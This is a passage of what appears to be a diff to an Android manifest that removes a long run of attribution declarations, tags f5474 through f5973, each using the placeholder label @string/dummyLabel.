- <attribution android:tag="f5474" android:label="@string/dummyLabel" />
- <attribution android:tag="f5475" android:label="@string/dummyLabel" />
- <attribution android:tag="f5476" android:label="@string/dummyLabel" />
- <attribution android:tag="f5477" android:label="@string/dummyLabel" />
- <attribution android:tag="f5478" android:label="@string/dummyLabel" />
- <attribution android:tag="f5479" android:label="@string/dummyLabel" />
- <attribution android:tag="f5480" android:label="@string/dummyLabel" />
- <attribution android:tag="f5481" android:label="@string/dummyLabel" />
- <attribution android:tag="f5482" android:label="@string/dummyLabel" />
- <attribution android:tag="f5483" android:label="@string/dummyLabel" />
- <attribution android:tag="f5484" android:label="@string/dummyLabel" />
- <attribution android:tag="f5485" android:label="@string/dummyLabel" />
- <attribution android:tag="f5486" android:label="@string/dummyLabel" />
- <attribution android:tag="f5487" android:label="@string/dummyLabel" />
- <attribution android:tag="f5488" android:label="@string/dummyLabel" />
- <attribution android:tag="f5489" android:label="@string/dummyLabel" />
- <attribution android:tag="f5490" android:label="@string/dummyLabel" />
- <attribution android:tag="f5491" android:label="@string/dummyLabel" />
- <attribution android:tag="f5492" android:label="@string/dummyLabel" />
- <attribution android:tag="f5493" android:label="@string/dummyLabel" />
- <attribution android:tag="f5494" android:label="@string/dummyLabel" />
- <attribution android:tag="f5495" android:label="@string/dummyLabel" />
- <attribution android:tag="f5496" android:label="@string/dummyLabel" />
- <attribution android:tag="f5497" android:label="@string/dummyLabel" />
- <attribution android:tag="f5498" android:label="@string/dummyLabel" />
- <attribution android:tag="f5499" android:label="@string/dummyLabel" />
- <attribution android:tag="f5500" android:label="@string/dummyLabel" />
- <attribution android:tag="f5501" android:label="@string/dummyLabel" />
- <attribution android:tag="f5502" android:label="@string/dummyLabel" />
- <attribution android:tag="f5503" android:label="@string/dummyLabel" />
- <attribution android:tag="f5504" android:label="@string/dummyLabel" />
- <attribution android:tag="f5505" android:label="@string/dummyLabel" />
- <attribution android:tag="f5506" android:label="@string/dummyLabel" />
- <attribution android:tag="f5507" android:label="@string/dummyLabel" />
- <attribution android:tag="f5508" android:label="@string/dummyLabel" />
- <attribution android:tag="f5509" android:label="@string/dummyLabel" />
- <attribution android:tag="f5510" android:label="@string/dummyLabel" />
- <attribution android:tag="f5511" android:label="@string/dummyLabel" />
- <attribution android:tag="f5512" android:label="@string/dummyLabel" />
- <attribution android:tag="f5513" android:label="@string/dummyLabel" />
- <attribution android:tag="f5514" android:label="@string/dummyLabel" />
- <attribution android:tag="f5515" android:label="@string/dummyLabel" />
- <attribution android:tag="f5516" android:label="@string/dummyLabel" />
- <attribution android:tag="f5517" android:label="@string/dummyLabel" />
- <attribution android:tag="f5518" android:label="@string/dummyLabel" />
- <attribution android:tag="f5519" android:label="@string/dummyLabel" />
- <attribution android:tag="f5520" android:label="@string/dummyLabel" />
- <attribution android:tag="f5521" android:label="@string/dummyLabel" />
- <attribution android:tag="f5522" android:label="@string/dummyLabel" />
- <attribution android:tag="f5523" android:label="@string/dummyLabel" />
- <attribution android:tag="f5524" android:label="@string/dummyLabel" />
- <attribution android:tag="f5525" android:label="@string/dummyLabel" />
- <attribution android:tag="f5526" android:label="@string/dummyLabel" />
- <attribution android:tag="f5527" android:label="@string/dummyLabel" />
- <attribution android:tag="f5528" android:label="@string/dummyLabel" />
- <attribution android:tag="f5529" android:label="@string/dummyLabel" />
- <attribution android:tag="f5530" android:label="@string/dummyLabel" />
- <attribution android:tag="f5531" android:label="@string/dummyLabel" />
- <attribution android:tag="f5532" android:label="@string/dummyLabel" />
- <attribution android:tag="f5533" android:label="@string/dummyLabel" />
- <attribution android:tag="f5534" android:label="@string/dummyLabel" />
- <attribution android:tag="f5535" android:label="@string/dummyLabel" />
- <attribution android:tag="f5536" android:label="@string/dummyLabel" />
- <attribution android:tag="f5537" android:label="@string/dummyLabel" />
- <attribution android:tag="f5538" android:label="@string/dummyLabel" />
- <attribution android:tag="f5539" android:label="@string/dummyLabel" />
- <attribution android:tag="f5540" android:label="@string/dummyLabel" />
- <attribution android:tag="f5541" android:label="@string/dummyLabel" />
- <attribution android:tag="f5542" android:label="@string/dummyLabel" />
- <attribution android:tag="f5543" android:label="@string/dummyLabel" />
- <attribution android:tag="f5544" android:label="@string/dummyLabel" />
- <attribution android:tag="f5545" android:label="@string/dummyLabel" />
- <attribution android:tag="f5546" android:label="@string/dummyLabel" />
- <attribution android:tag="f5547" android:label="@string/dummyLabel" />
- <attribution android:tag="f5548" android:label="@string/dummyLabel" />
- <attribution android:tag="f5549" android:label="@string/dummyLabel" />
- <attribution android:tag="f5550" android:label="@string/dummyLabel" />
- <attribution android:tag="f5551" android:label="@string/dummyLabel" />
- <attribution android:tag="f5552" android:label="@string/dummyLabel" />
- <attribution android:tag="f5553" android:label="@string/dummyLabel" />
- <attribution android:tag="f5554" android:label="@string/dummyLabel" />
- <attribution android:tag="f5555" android:label="@string/dummyLabel" />
- <attribution android:tag="f5556" android:label="@string/dummyLabel" />
- <attribution android:tag="f5557" android:label="@string/dummyLabel" />
- <attribution android:tag="f5558" android:label="@string/dummyLabel" />
- <attribution android:tag="f5559" android:label="@string/dummyLabel" />
- <attribution android:tag="f5560" android:label="@string/dummyLabel" />
- <attribution android:tag="f5561" android:label="@string/dummyLabel" />
- <attribution android:tag="f5562" android:label="@string/dummyLabel" />
- <attribution android:tag="f5563" android:label="@string/dummyLabel" />
- <attribution android:tag="f5564" android:label="@string/dummyLabel" />
- <attribution android:tag="f5565" android:label="@string/dummyLabel" />
- <attribution android:tag="f5566" android:label="@string/dummyLabel" />
- <attribution android:tag="f5567" android:label="@string/dummyLabel" />
- <attribution android:tag="f5568" android:label="@string/dummyLabel" />
- <attribution android:tag="f5569" android:label="@string/dummyLabel" />
- <attribution android:tag="f5570" android:label="@string/dummyLabel" />
- <attribution android:tag="f5571" android:label="@string/dummyLabel" />
- <attribution android:tag="f5572" android:label="@string/dummyLabel" />
- <attribution android:tag="f5573" android:label="@string/dummyLabel" />
- <attribution android:tag="f5574" android:label="@string/dummyLabel" />
- <attribution android:tag="f5575" android:label="@string/dummyLabel" />
- <attribution android:tag="f5576" android:label="@string/dummyLabel" />
- <attribution android:tag="f5577" android:label="@string/dummyLabel" />
- <attribution android:tag="f5578" android:label="@string/dummyLabel" />
- <attribution android:tag="f5579" android:label="@string/dummyLabel" />
- <attribution android:tag="f5580" android:label="@string/dummyLabel" />
- <attribution android:tag="f5581" android:label="@string/dummyLabel" />
- <attribution android:tag="f5582" android:label="@string/dummyLabel" />
- <attribution android:tag="f5583" android:label="@string/dummyLabel" />
- <attribution android:tag="f5584" android:label="@string/dummyLabel" />
- <attribution android:tag="f5585" android:label="@string/dummyLabel" />
- <attribution android:tag="f5586" android:label="@string/dummyLabel" />
- <attribution android:tag="f5587" android:label="@string/dummyLabel" />
- <attribution android:tag="f5588" android:label="@string/dummyLabel" />
- <attribution android:tag="f5589" android:label="@string/dummyLabel" />
- <attribution android:tag="f5590" android:label="@string/dummyLabel" />
- <attribution android:tag="f5591" android:label="@string/dummyLabel" />
- <attribution android:tag="f5592" android:label="@string/dummyLabel" />
- <attribution android:tag="f5593" android:label="@string/dummyLabel" />
- <attribution android:tag="f5594" android:label="@string/dummyLabel" />
- <attribution android:tag="f5595" android:label="@string/dummyLabel" />
- <attribution android:tag="f5596" android:label="@string/dummyLabel" />
- <attribution android:tag="f5597" android:label="@string/dummyLabel" />
- <attribution android:tag="f5598" android:label="@string/dummyLabel" />
- <attribution android:tag="f5599" android:label="@string/dummyLabel" />
- <attribution android:tag="f5600" android:label="@string/dummyLabel" />
- <attribution android:tag="f5601" android:label="@string/dummyLabel" />
- <attribution android:tag="f5602" android:label="@string/dummyLabel" />
- <attribution android:tag="f5603" android:label="@string/dummyLabel" />
- <attribution android:tag="f5604" android:label="@string/dummyLabel" />
- <attribution android:tag="f5605" android:label="@string/dummyLabel" />
- <attribution android:tag="f5606" android:label="@string/dummyLabel" />
- <attribution android:tag="f5607" android:label="@string/dummyLabel" />
- <attribution android:tag="f5608" android:label="@string/dummyLabel" />
- <attribution android:tag="f5609" android:label="@string/dummyLabel" />
- <attribution android:tag="f5610" android:label="@string/dummyLabel" />
- <attribution android:tag="f5611" android:label="@string/dummyLabel" />
- <attribution android:tag="f5612" android:label="@string/dummyLabel" />
- <attribution android:tag="f5613" android:label="@string/dummyLabel" />
- <attribution android:tag="f5614" android:label="@string/dummyLabel" />
- <attribution android:tag="f5615" android:label="@string/dummyLabel" />
- <attribution android:tag="f5616" android:label="@string/dummyLabel" />
- <attribution android:tag="f5617" android:label="@string/dummyLabel" />
- <attribution android:tag="f5618" android:label="@string/dummyLabel" />
- <attribution android:tag="f5619" android:label="@string/dummyLabel" />
- <attribution android:tag="f5620" android:label="@string/dummyLabel" />
- <attribution android:tag="f5621" android:label="@string/dummyLabel" />
- <attribution android:tag="f5622" android:label="@string/dummyLabel" />
- <attribution android:tag="f5623" android:label="@string/dummyLabel" />
- <attribution android:tag="f5624" android:label="@string/dummyLabel" />
- <attribution android:tag="f5625" android:label="@string/dummyLabel" />
- <attribution android:tag="f5626" android:label="@string/dummyLabel" />
- <attribution android:tag="f5627" android:label="@string/dummyLabel" />
- <attribution android:tag="f5628" android:label="@string/dummyLabel" />
- <attribution android:tag="f5629" android:label="@string/dummyLabel" />
- <attribution android:tag="f5630" android:label="@string/dummyLabel" />
- <attribution android:tag="f5631" android:label="@string/dummyLabel" />
- <attribution android:tag="f5632" android:label="@string/dummyLabel" />
- <attribution android:tag="f5633" android:label="@string/dummyLabel" />
- <attribution android:tag="f5634" android:label="@string/dummyLabel" />
- <attribution android:tag="f5635" android:label="@string/dummyLabel" />
- <attribution android:tag="f5636" android:label="@string/dummyLabel" />
- <attribution android:tag="f5637" android:label="@string/dummyLabel" />
- <attribution android:tag="f5638" android:label="@string/dummyLabel" />
- <attribution android:tag="f5639" android:label="@string/dummyLabel" />
- <attribution android:tag="f5640" android:label="@string/dummyLabel" />
- <attribution android:tag="f5641" android:label="@string/dummyLabel" />
- <attribution android:tag="f5642" android:label="@string/dummyLabel" />
- <attribution android:tag="f5643" android:label="@string/dummyLabel" />
- <attribution android:tag="f5644" android:label="@string/dummyLabel" />
- <attribution android:tag="f5645" android:label="@string/dummyLabel" />
- <attribution android:tag="f5646" android:label="@string/dummyLabel" />
- <attribution android:tag="f5647" android:label="@string/dummyLabel" />
- <attribution android:tag="f5648" android:label="@string/dummyLabel" />
- <attribution android:tag="f5649" android:label="@string/dummyLabel" />
- <attribution android:tag="f5650" android:label="@string/dummyLabel" />
- <attribution android:tag="f5651" android:label="@string/dummyLabel" />
- <attribution android:tag="f5652" android:label="@string/dummyLabel" />
- <attribution android:tag="f5653" android:label="@string/dummyLabel" />
- <attribution android:tag="f5654" android:label="@string/dummyLabel" />
- <attribution android:tag="f5655" android:label="@string/dummyLabel" />
- <attribution android:tag="f5656" android:label="@string/dummyLabel" />
- <attribution android:tag="f5657" android:label="@string/dummyLabel" />
- <attribution android:tag="f5658" android:label="@string/dummyLabel" />
- <attribution android:tag="f5659" android:label="@string/dummyLabel" />
- <attribution android:tag="f5660" android:label="@string/dummyLabel" />
- <attribution android:tag="f5661" android:label="@string/dummyLabel" />
- <attribution android:tag="f5662" android:label="@string/dummyLabel" />
- <attribution android:tag="f5663" android:label="@string/dummyLabel" />
- <attribution android:tag="f5664" android:label="@string/dummyLabel" />
- <attribution android:tag="f5665" android:label="@string/dummyLabel" />
- <attribution android:tag="f5666" android:label="@string/dummyLabel" />
- <attribution android:tag="f5667" android:label="@string/dummyLabel" />
- <attribution android:tag="f5668" android:label="@string/dummyLabel" />
- <attribution android:tag="f5669" android:label="@string/dummyLabel" />
- <attribution android:tag="f5670" android:label="@string/dummyLabel" />
- <attribution android:tag="f5671" android:label="@string/dummyLabel" />
- <attribution android:tag="f5672" android:label="@string/dummyLabel" />
- <attribution android:tag="f5673" android:label="@string/dummyLabel" />
- <attribution android:tag="f5674" android:label="@string/dummyLabel" />
- <attribution android:tag="f5675" android:label="@string/dummyLabel" />
- <attribution android:tag="f5676" android:label="@string/dummyLabel" />
- <attribution android:tag="f5677" android:label="@string/dummyLabel" />
- <attribution android:tag="f5678" android:label="@string/dummyLabel" />
- <attribution android:tag="f5679" android:label="@string/dummyLabel" />
- <attribution android:tag="f5680" android:label="@string/dummyLabel" />
- <attribution android:tag="f5681" android:label="@string/dummyLabel" />
- <attribution android:tag="f5682" android:label="@string/dummyLabel" />
- <attribution android:tag="f5683" android:label="@string/dummyLabel" />
- <attribution android:tag="f5684" android:label="@string/dummyLabel" />
- <attribution android:tag="f5685" android:label="@string/dummyLabel" />
- <attribution android:tag="f5686" android:label="@string/dummyLabel" />
- <attribution android:tag="f5687" android:label="@string/dummyLabel" />
- <attribution android:tag="f5688" android:label="@string/dummyLabel" />
- <attribution android:tag="f5689" android:label="@string/dummyLabel" />
- <attribution android:tag="f5690" android:label="@string/dummyLabel" />
- <attribution android:tag="f5691" android:label="@string/dummyLabel" />
- <attribution android:tag="f5692" android:label="@string/dummyLabel" />
- <attribution android:tag="f5693" android:label="@string/dummyLabel" />
- <attribution android:tag="f5694" android:label="@string/dummyLabel" />
- <attribution android:tag="f5695" android:label="@string/dummyLabel" />
- <attribution android:tag="f5696" android:label="@string/dummyLabel" />
- <attribution android:tag="f5697" android:label="@string/dummyLabel" />
- <attribution android:tag="f5698" android:label="@string/dummyLabel" />
- <attribution android:tag="f5699" android:label="@string/dummyLabel" />
- <attribution android:tag="f5700" android:label="@string/dummyLabel" />
- <attribution android:tag="f5701" android:label="@string/dummyLabel" />
- <attribution android:tag="f5702" android:label="@string/dummyLabel" />
- <attribution android:tag="f5703" android:label="@string/dummyLabel" />
- <attribution android:tag="f5704" android:label="@string/dummyLabel" />
- <attribution android:tag="f5705" android:label="@string/dummyLabel" />
- <attribution android:tag="f5706" android:label="@string/dummyLabel" />
- <attribution android:tag="f5707" android:label="@string/dummyLabel" />
- <attribution android:tag="f5708" android:label="@string/dummyLabel" />
- <attribution android:tag="f5709" android:label="@string/dummyLabel" />
- <attribution android:tag="f5710" android:label="@string/dummyLabel" />
- <attribution android:tag="f5711" android:label="@string/dummyLabel" />
- <attribution android:tag="f5712" android:label="@string/dummyLabel" />
- <attribution android:tag="f5713" android:label="@string/dummyLabel" />
- <attribution android:tag="f5714" android:label="@string/dummyLabel" />
- <attribution android:tag="f5715" android:label="@string/dummyLabel" />
- <attribution android:tag="f5716" android:label="@string/dummyLabel" />
- <attribution android:tag="f5717" android:label="@string/dummyLabel" />
- <attribution android:tag="f5718" android:label="@string/dummyLabel" />
- <attribution android:tag="f5719" android:label="@string/dummyLabel" />
- <attribution android:tag="f5720" android:label="@string/dummyLabel" />
- <attribution android:tag="f5721" android:label="@string/dummyLabel" />
- <attribution android:tag="f5722" android:label="@string/dummyLabel" />
- <attribution android:tag="f5723" android:label="@string/dummyLabel" />
- <attribution android:tag="f5724" android:label="@string/dummyLabel" />
- <attribution android:tag="f5725" android:label="@string/dummyLabel" />
- <attribution android:tag="f5726" android:label="@string/dummyLabel" />
- <attribution android:tag="f5727" android:label="@string/dummyLabel" />
- <attribution android:tag="f5728" android:label="@string/dummyLabel" />
- <attribution android:tag="f5729" android:label="@string/dummyLabel" />
- <attribution android:tag="f5730" android:label="@string/dummyLabel" />
- <attribution android:tag="f5731" android:label="@string/dummyLabel" />
- <attribution android:tag="f5732" android:label="@string/dummyLabel" />
- <attribution android:tag="f5733" android:label="@string/dummyLabel" />
- <attribution android:tag="f5734" android:label="@string/dummyLabel" />
- <attribution android:tag="f5735" android:label="@string/dummyLabel" />
- <attribution android:tag="f5736" android:label="@string/dummyLabel" />
- <attribution android:tag="f5737" android:label="@string/dummyLabel" />
- <attribution android:tag="f5738" android:label="@string/dummyLabel" />
- <attribution android:tag="f5739" android:label="@string/dummyLabel" />
- <attribution android:tag="f5740" android:label="@string/dummyLabel" />
- <attribution android:tag="f5741" android:label="@string/dummyLabel" />
- <attribution android:tag="f5742" android:label="@string/dummyLabel" />
- <attribution android:tag="f5743" android:label="@string/dummyLabel" />
- <attribution android:tag="f5744" android:label="@string/dummyLabel" />
- <attribution android:tag="f5745" android:label="@string/dummyLabel" />
- <attribution android:tag="f5746" android:label="@string/dummyLabel" />
- <attribution android:tag="f5747" android:label="@string/dummyLabel" />
- <attribution android:tag="f5748" android:label="@string/dummyLabel" />
- <attribution android:tag="f5749" android:label="@string/dummyLabel" />
- <attribution android:tag="f5750" android:label="@string/dummyLabel" />
- <attribution android:tag="f5751" android:label="@string/dummyLabel" />
- <attribution android:tag="f5752" android:label="@string/dummyLabel" />
- <attribution android:tag="f5753" android:label="@string/dummyLabel" />
- <attribution android:tag="f5754" android:label="@string/dummyLabel" />
- <attribution android:tag="f5755" android:label="@string/dummyLabel" />
- <attribution android:tag="f5756" android:label="@string/dummyLabel" />
- <attribution android:tag="f5757" android:label="@string/dummyLabel" />
- <attribution android:tag="f5758" android:label="@string/dummyLabel" />
- <attribution android:tag="f5759" android:label="@string/dummyLabel" />
- <attribution android:tag="f5760" android:label="@string/dummyLabel" />
- <attribution android:tag="f5761" android:label="@string/dummyLabel" />
- <attribution android:tag="f5762" android:label="@string/dummyLabel" />
- <attribution android:tag="f5763" android:label="@string/dummyLabel" />
- <attribution android:tag="f5764" android:label="@string/dummyLabel" />
- <attribution android:tag="f5765" android:label="@string/dummyLabel" />
- <attribution android:tag="f5766" android:label="@string/dummyLabel" />
- <attribution android:tag="f5767" android:label="@string/dummyLabel" />
- <attribution android:tag="f5768" android:label="@string/dummyLabel" />
- <attribution android:tag="f5769" android:label="@string/dummyLabel" />
- <attribution android:tag="f5770" android:label="@string/dummyLabel" />
- <attribution android:tag="f5771" android:label="@string/dummyLabel" />
- <attribution android:tag="f5772" android:label="@string/dummyLabel" />
- <attribution android:tag="f5773" android:label="@string/dummyLabel" />
- <attribution android:tag="f5774" android:label="@string/dummyLabel" />
- <attribution android:tag="f5775" android:label="@string/dummyLabel" />
- <attribution android:tag="f5776" android:label="@string/dummyLabel" />
- <attribution android:tag="f5777" android:label="@string/dummyLabel" />
- <attribution android:tag="f5778" android:label="@string/dummyLabel" />
- <attribution android:tag="f5779" android:label="@string/dummyLabel" />
- <attribution android:tag="f5780" android:label="@string/dummyLabel" />
- <attribution android:tag="f5781" android:label="@string/dummyLabel" />
- <attribution android:tag="f5782" android:label="@string/dummyLabel" />
- <attribution android:tag="f5783" android:label="@string/dummyLabel" />
- <attribution android:tag="f5784" android:label="@string/dummyLabel" />
- <attribution android:tag="f5785" android:label="@string/dummyLabel" />
- <attribution android:tag="f5786" android:label="@string/dummyLabel" />
- <attribution android:tag="f5787" android:label="@string/dummyLabel" />
- <attribution android:tag="f5788" android:label="@string/dummyLabel" />
- <attribution android:tag="f5789" android:label="@string/dummyLabel" />
- <attribution android:tag="f5790" android:label="@string/dummyLabel" />
- <attribution android:tag="f5791" android:label="@string/dummyLabel" />
- <attribution android:tag="f5792" android:label="@string/dummyLabel" />
- <attribution android:tag="f5793" android:label="@string/dummyLabel" />
- <attribution android:tag="f5794" android:label="@string/dummyLabel" />
- <attribution android:tag="f5795" android:label="@string/dummyLabel" />
- <attribution android:tag="f5796" android:label="@string/dummyLabel" />
- <attribution android:tag="f5797" android:label="@string/dummyLabel" />
- <attribution android:tag="f5798" android:label="@string/dummyLabel" />
- <attribution android:tag="f5799" android:label="@string/dummyLabel" />
- <attribution android:tag="f5800" android:label="@string/dummyLabel" />
- <attribution android:tag="f5801" android:label="@string/dummyLabel" />
- <attribution android:tag="f5802" android:label="@string/dummyLabel" />
- <attribution android:tag="f5803" android:label="@string/dummyLabel" />
- <attribution android:tag="f5804" android:label="@string/dummyLabel" />
- <attribution android:tag="f5805" android:label="@string/dummyLabel" />
- <attribution android:tag="f5806" android:label="@string/dummyLabel" />
- <attribution android:tag="f5807" android:label="@string/dummyLabel" />
- <attribution android:tag="f5808" android:label="@string/dummyLabel" />
- <attribution android:tag="f5809" android:label="@string/dummyLabel" />
- <attribution android:tag="f5810" android:label="@string/dummyLabel" />
- <attribution android:tag="f5811" android:label="@string/dummyLabel" />
- <attribution android:tag="f5812" android:label="@string/dummyLabel" />
- <attribution android:tag="f5813" android:label="@string/dummyLabel" />
- <attribution android:tag="f5814" android:label="@string/dummyLabel" />
- <attribution android:tag="f5815" android:label="@string/dummyLabel" />
- <attribution android:tag="f5816" android:label="@string/dummyLabel" />
- <attribution android:tag="f5817" android:label="@string/dummyLabel" />
- <attribution android:tag="f5818" android:label="@string/dummyLabel" />
- <attribution android:tag="f5819" android:label="@string/dummyLabel" />
- <attribution android:tag="f5820" android:label="@string/dummyLabel" />
- <attribution android:tag="f5821" android:label="@string/dummyLabel" />
- <attribution android:tag="f5822" android:label="@string/dummyLabel" />
- <attribution android:tag="f5823" android:label="@string/dummyLabel" />
- <attribution android:tag="f5824" android:label="@string/dummyLabel" />
- <attribution android:tag="f5825" android:label="@string/dummyLabel" />
- <attribution android:tag="f5826" android:label="@string/dummyLabel" />
- <attribution android:tag="f5827" android:label="@string/dummyLabel" />
- <attribution android:tag="f5828" android:label="@string/dummyLabel" />
- <attribution android:tag="f5829" android:label="@string/dummyLabel" />
- <attribution android:tag="f5830" android:label="@string/dummyLabel" />
- <attribution android:tag="f5831" android:label="@string/dummyLabel" />
- <attribution android:tag="f5832" android:label="@string/dummyLabel" />
- <attribution android:tag="f5833" android:label="@string/dummyLabel" />
- <attribution android:tag="f5834" android:label="@string/dummyLabel" />
- <attribution android:tag="f5835" android:label="@string/dummyLabel" />
- <attribution android:tag="f5836" android:label="@string/dummyLabel" />
- <attribution android:tag="f5837" android:label="@string/dummyLabel" />
- <attribution android:tag="f5838" android:label="@string/dummyLabel" />
- <attribution android:tag="f5839" android:label="@string/dummyLabel" />
- <attribution android:tag="f5840" android:label="@string/dummyLabel" />
- <attribution android:tag="f5841" android:label="@string/dummyLabel" />
- <attribution android:tag="f5842" android:label="@string/dummyLabel" />
- <attribution android:tag="f5843" android:label="@string/dummyLabel" />
- <attribution android:tag="f5844" android:label="@string/dummyLabel" />
- <attribution android:tag="f5845" android:label="@string/dummyLabel" />
- <attribution android:tag="f5846" android:label="@string/dummyLabel" />
- <attribution android:tag="f5847" android:label="@string/dummyLabel" />
- <attribution android:tag="f5848" android:label="@string/dummyLabel" />
- <attribution android:tag="f5849" android:label="@string/dummyLabel" />
- <attribution android:tag="f5850" android:label="@string/dummyLabel" />
- <attribution android:tag="f5851" android:label="@string/dummyLabel" />
- <attribution android:tag="f5852" android:label="@string/dummyLabel" />
- <attribution android:tag="f5853" android:label="@string/dummyLabel" />
- <attribution android:tag="f5854" android:label="@string/dummyLabel" />
- <attribution android:tag="f5855" android:label="@string/dummyLabel" />
- <attribution android:tag="f5856" android:label="@string/dummyLabel" />
- <attribution android:tag="f5857" android:label="@string/dummyLabel" />
- <attribution android:tag="f5858" android:label="@string/dummyLabel" />
- <attribution android:tag="f5859" android:label="@string/dummyLabel" />
- <attribution android:tag="f5860" android:label="@string/dummyLabel" />
- <attribution android:tag="f5861" android:label="@string/dummyLabel" />
- <attribution android:tag="f5862" android:label="@string/dummyLabel" />
- <attribution android:tag="f5863" android:label="@string/dummyLabel" />
- <attribution android:tag="f5864" android:label="@string/dummyLabel" />
- <attribution android:tag="f5865" android:label="@string/dummyLabel" />
- <attribution android:tag="f5866" android:label="@string/dummyLabel" />
- <attribution android:tag="f5867" android:label="@string/dummyLabel" />
- <attribution android:tag="f5868" android:label="@string/dummyLabel" />
- <attribution android:tag="f5869" android:label="@string/dummyLabel" />
- <attribution android:tag="f5870" android:label="@string/dummyLabel" />
- <attribution android:tag="f5871" android:label="@string/dummyLabel" />
- <attribution android:tag="f5872" android:label="@string/dummyLabel" />
- <attribution android:tag="f5873" android:label="@string/dummyLabel" />
- <attribution android:tag="f5874" android:label="@string/dummyLabel" />
- <attribution android:tag="f5875" android:label="@string/dummyLabel" />
- <attribution android:tag="f5876" android:label="@string/dummyLabel" />
- <attribution android:tag="f5877" android:label="@string/dummyLabel" />
- <attribution android:tag="f5878" android:label="@string/dummyLabel" />
- <attribution android:tag="f5879" android:label="@string/dummyLabel" />
- <attribution android:tag="f5880" android:label="@string/dummyLabel" />
- <attribution android:tag="f5881" android:label="@string/dummyLabel" />
- <attribution android:tag="f5882" android:label="@string/dummyLabel" />
- <attribution android:tag="f5883" android:label="@string/dummyLabel" />
- <attribution android:tag="f5884" android:label="@string/dummyLabel" />
- <attribution android:tag="f5885" android:label="@string/dummyLabel" />
- <attribution android:tag="f5886" android:label="@string/dummyLabel" />
- <attribution android:tag="f5887" android:label="@string/dummyLabel" />
- <attribution android:tag="f5888" android:label="@string/dummyLabel" />
- <attribution android:tag="f5889" android:label="@string/dummyLabel" />
- <attribution android:tag="f5890" android:label="@string/dummyLabel" />
- <attribution android:tag="f5891" android:label="@string/dummyLabel" />
- <attribution android:tag="f5892" android:label="@string/dummyLabel" />
- <attribution android:tag="f5893" android:label="@string/dummyLabel" />
- <attribution android:tag="f5894" android:label="@string/dummyLabel" />
- <attribution android:tag="f5895" android:label="@string/dummyLabel" />
- <attribution android:tag="f5896" android:label="@string/dummyLabel" />
- <attribution android:tag="f5897" android:label="@string/dummyLabel" />
- <attribution android:tag="f5898" android:label="@string/dummyLabel" />
- <attribution android:tag="f5899" android:label="@string/dummyLabel" />
- <attribution android:tag="f5900" android:label="@string/dummyLabel" />
- <attribution android:tag="f5901" android:label="@string/dummyLabel" />
- <attribution android:tag="f5902" android:label="@string/dummyLabel" />
- <attribution android:tag="f5903" android:label="@string/dummyLabel" />
- <attribution android:tag="f5904" android:label="@string/dummyLabel" />
- <attribution android:tag="f5905" android:label="@string/dummyLabel" />
- <attribution android:tag="f5906" android:label="@string/dummyLabel" />
- <attribution android:tag="f5907" android:label="@string/dummyLabel" />
- <attribution android:tag="f5908" android:label="@string/dummyLabel" />
- <attribution android:tag="f5909" android:label="@string/dummyLabel" />
- <attribution android:tag="f5910" android:label="@string/dummyLabel" />
- <attribution android:tag="f5911" android:label="@string/dummyLabel" />
- <attribution android:tag="f5912" android:label="@string/dummyLabel" />
- <attribution android:tag="f5913" android:label="@string/dummyLabel" />
- <attribution android:tag="f5914" android:label="@string/dummyLabel" />
- <attribution android:tag="f5915" android:label="@string/dummyLabel" />
- <attribution android:tag="f5916" android:label="@string/dummyLabel" />
- <attribution android:tag="f5917" android:label="@string/dummyLabel" />
- <attribution android:tag="f5918" android:label="@string/dummyLabel" />
- <attribution android:tag="f5919" android:label="@string/dummyLabel" />
- <attribution android:tag="f5920" android:label="@string/dummyLabel" />
- <attribution android:tag="f5921" android:label="@string/dummyLabel" />
- <attribution android:tag="f5922" android:label="@string/dummyLabel" />
- <attribution android:tag="f5923" android:label="@string/dummyLabel" />
- <attribution android:tag="f5924" android:label="@string/dummyLabel" />
- <attribution android:tag="f5925" android:label="@string/dummyLabel" />
- <attribution android:tag="f5926" android:label="@string/dummyLabel" />
- <attribution android:tag="f5927" android:label="@string/dummyLabel" />
- <attribution android:tag="f5928" android:label="@string/dummyLabel" />
- <attribution android:tag="f5929" android:label="@string/dummyLabel" />
- <attribution android:tag="f5930" android:label="@string/dummyLabel" />
- <attribution android:tag="f5931" android:label="@string/dummyLabel" />
- <attribution android:tag="f5932" android:label="@string/dummyLabel" />
- <attribution android:tag="f5933" android:label="@string/dummyLabel" />
- <attribution android:tag="f5934" android:label="@string/dummyLabel" />
- <attribution android:tag="f5935" android:label="@string/dummyLabel" />
- <attribution android:tag="f5936" android:label="@string/dummyLabel" />
- <attribution android:tag="f5937" android:label="@string/dummyLabel" />
- <attribution android:tag="f5938" android:label="@string/dummyLabel" />
- <attribution android:tag="f5939" android:label="@string/dummyLabel" />
- <attribution android:tag="f5940" android:label="@string/dummyLabel" />
- <attribution android:tag="f5941" android:label="@string/dummyLabel" />
- <attribution android:tag="f5942" android:label="@string/dummyLabel" />
- <attribution android:tag="f5943" android:label="@string/dummyLabel" />
- <attribution android:tag="f5944" android:label="@string/dummyLabel" />
- <attribution android:tag="f5945" android:label="@string/dummyLabel" />
- <attribution android:tag="f5946" android:label="@string/dummyLabel" />
- <attribution android:tag="f5947" android:label="@string/dummyLabel" />
- <attribution android:tag="f5948" android:label="@string/dummyLabel" />
- <attribution android:tag="f5949" android:label="@string/dummyLabel" />
- <attribution android:tag="f5950" android:label="@string/dummyLabel" />
- <attribution android:tag="f5951" android:label="@string/dummyLabel" />
- <attribution android:tag="f5952" android:label="@string/dummyLabel" />
- <attribution android:tag="f5953" android:label="@string/dummyLabel" />
- <attribution android:tag="f5954" android:label="@string/dummyLabel" />
- <attribution android:tag="f5955" android:label="@string/dummyLabel" />
- <attribution android:tag="f5956" android:label="@string/dummyLabel" />
- <attribution android:tag="f5957" android:label="@string/dummyLabel" />
- <attribution android:tag="f5958" android:label="@string/dummyLabel" />
- <attribution android:tag="f5959" android:label="@string/dummyLabel" />
- <attribution android:tag="f5960" android:label="@string/dummyLabel" />
- <attribution android:tag="f5961" android:label="@string/dummyLabel" />
- <attribution android:tag="f5962" android:label="@string/dummyLabel" />
- <attribution android:tag="f5963" android:label="@string/dummyLabel" />
- <attribution android:tag="f5964" android:label="@string/dummyLabel" />
- <attribution android:tag="f5965" android:label="@string/dummyLabel" />
- <attribution android:tag="f5966" android:label="@string/dummyLabel" />
- <attribution android:tag="f5967" android:label="@string/dummyLabel" />
- <attribution android:tag="f5968" android:label="@string/dummyLabel" />
- <attribution android:tag="f5969" android:label="@string/dummyLabel" />
- <attribution android:tag="f5970" android:label="@string/dummyLabel" />
- <attribution android:tag="f5971" android:label="@string/dummyLabel" />
- <attribution android:tag="f5972" android:label="@string/dummyLabel" />
- <attribution android:tag="f5973" android:label="@string/dummyLabel" />
